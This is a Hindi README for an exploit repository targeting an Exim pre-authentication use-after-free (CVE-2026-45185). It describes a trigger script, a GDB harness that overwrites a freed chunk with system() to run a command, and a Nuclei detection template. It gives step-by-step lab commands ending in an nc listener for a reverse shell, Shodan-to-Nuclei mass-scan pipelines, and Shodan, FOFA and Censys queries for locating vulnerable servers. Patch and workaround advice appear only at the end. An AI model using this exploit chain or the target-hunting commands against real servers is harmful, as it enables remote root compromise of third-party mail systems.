
Exim में TLS close_notify के माध्यम से एक गंभीर pre-auth heap use-after-free का शोषण करके दूरस्थ रूट एक्सेस प्राप्त करता है; इसमें GDB लैब हैरनेस और Nuclei डिटेक्शन टेम्पलेट शामिल है।
CVSS 9.8 गंभीर | Exim 4.97–4.99.2 | Ubuntu / GnuTLS बिल्ड | बिना प्रमाणीकरण
GDB ट्रेस, चरण-दर-चरण विश्लेषण और वैश्विक एक्सपोज़र डेटा के साथ पूरा लेख:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
जब Exim BDAT बॉडी ट्रांसफर के बीच में होता है और TLS close_notify अलर्ट भेजा जाता है,
तो tls_close() gnutls_deinit() को कॉल करता है, जिससे 7,304-बाइट gnutls_session_int
स्ट्रक्चर मुक्त हो जाता है। BDAT रिसीव लेयर एक स्टेल पॉइंटर रखती है। जब बॉडी-रीड लूप
फिर से शुरू होता है, tls_getbuf → gnutls_record_recv मुक्त किए गए सेशन को डीरेफ़रेंस करता है —
heap use-after-free, प्री-ऑथेंटिकेशन, बिना किसी क्रेडेंशियल की आवश्यकता के।
Exim 4.99.3 में ठीक किया गया।
| शर्त | आवश्यक |
|---|---|
| Exim संस्करण | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| बिल्ड | GnuTLS के साथ Ubuntu / Debian (libgnutls28-dev) |
| फ़ीचर | EHLO में CHUNKING विज्ञापित (डिफ़ॉल्ट रूप से चालू) |
Alpine Linux और OpenSSL से लिंक्ड स्वयं-संकलित Exim प्रभावित नहीं हैं।
| फ़ाइल | उद्देश्य |
|---|---|
poc.py | UAF ट्रिगर — केवल stdlib, कोई pip नहीं। अपने स्वयं के सर्वर के विरुद्ध चलाना सुरक्षित। UAF पथ तक पहुँचकर रुक जाता है (कोई पेलोड नहीं)। |
diag19_gdb.py | GDB एक्सप्लॉइट हार्नेस — 7 ब्रेकपॉइंट, gnutls_deinit() लौटने के बाद मुक्त चंक में system() लिखता है। केवल लैब (ASLR बंद + मेल खाते लाइब्रेरी वर्शन आवश्यक)। |
CVE-2026-45185.yaml | Nuclei टेम्पलेट — EHLO फिंगरप्रिंट + BDAT प्रोब के माध्यम से सभी तीन पूर्वशर्तों का पता लगाता है। सुरक्षित, केवल-पठन जाँच। |
python3 poc.py <host> <port> <rcpt@domain>
# example
python3 poc.py mail.example.com 587 [email protected]
यदि ट्रिगर के बाद सर्वर जीवित रहता है, तो UAF पथ मौजूद है। यदि यह क्रैश हो जाता है, तो tcache व्यवहार में कुछ बदल गया है।
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3
# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space
# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config # choose "internet site", accept defaults
# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d
# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost
# 6. Start a listener for the reverse shell
nc -lvp 4444
चलाने से पहले: अपने लिसनर IP की ओर इंगित करने के लिए diag19_gdb.py में CMD संपादित करें।
SYSTEM एड्रेस लोड के समय गतिशील रूप से हल हो जाता है — किसी मैन्युअल लुकअप की आवश्यकता नहीं।
PostTlsCloseFin के अंदर के दो एड्रेस (lwr_receive_getbuf, tls_getbuf) Exim-आंतरिक हैं और आपके बिल्ड से मेल खाने चाहिए:
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v
# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt
# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
टेम्पलेट दो स्वतंत्र चरण चलाता है:
EHLO फिंगरप्रिंट — EHLO भेजता है, सभी तीन आवश्यक शर्तों पर मेल खाता है:
4.97–4.99.2Ubuntu (GnuTLS लिंकेज की पुष्टि हुई)CHUNKINGBDAT प्रोब — RCPT TO के बिना BDAT 200 भेजता है, Exim के विशिष्ट 503 से मेल खाता है:
503 valid RCPT command must precede BDAT
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587
# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")
# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
Exim 4.99.3 या उसके बाद के संस्करण में अपग्रेड करें (आधिकारिक पैच)।
वर्कअराउंड (कोई एक्सप्लॉइट पथ नहीं, परीक्षण के लिए रीस्टार्ट आवश्यक नहीं):
# exim4.conf
chunking_advertise_hosts = !*
फिर service exim4 restart चलाएँ।
| दिनांक | घटना |
|---|---|
| 2026-06-10 | XBOW द्वारा CVE आवंटित |
| 2026-06-24 | सार्वजनिक एडवाइज़री जारी |
| 2026-08-07 | लैब RCE की पुष्टि; यह लेख + PoC प्रकाशित |
@0Init द्वारा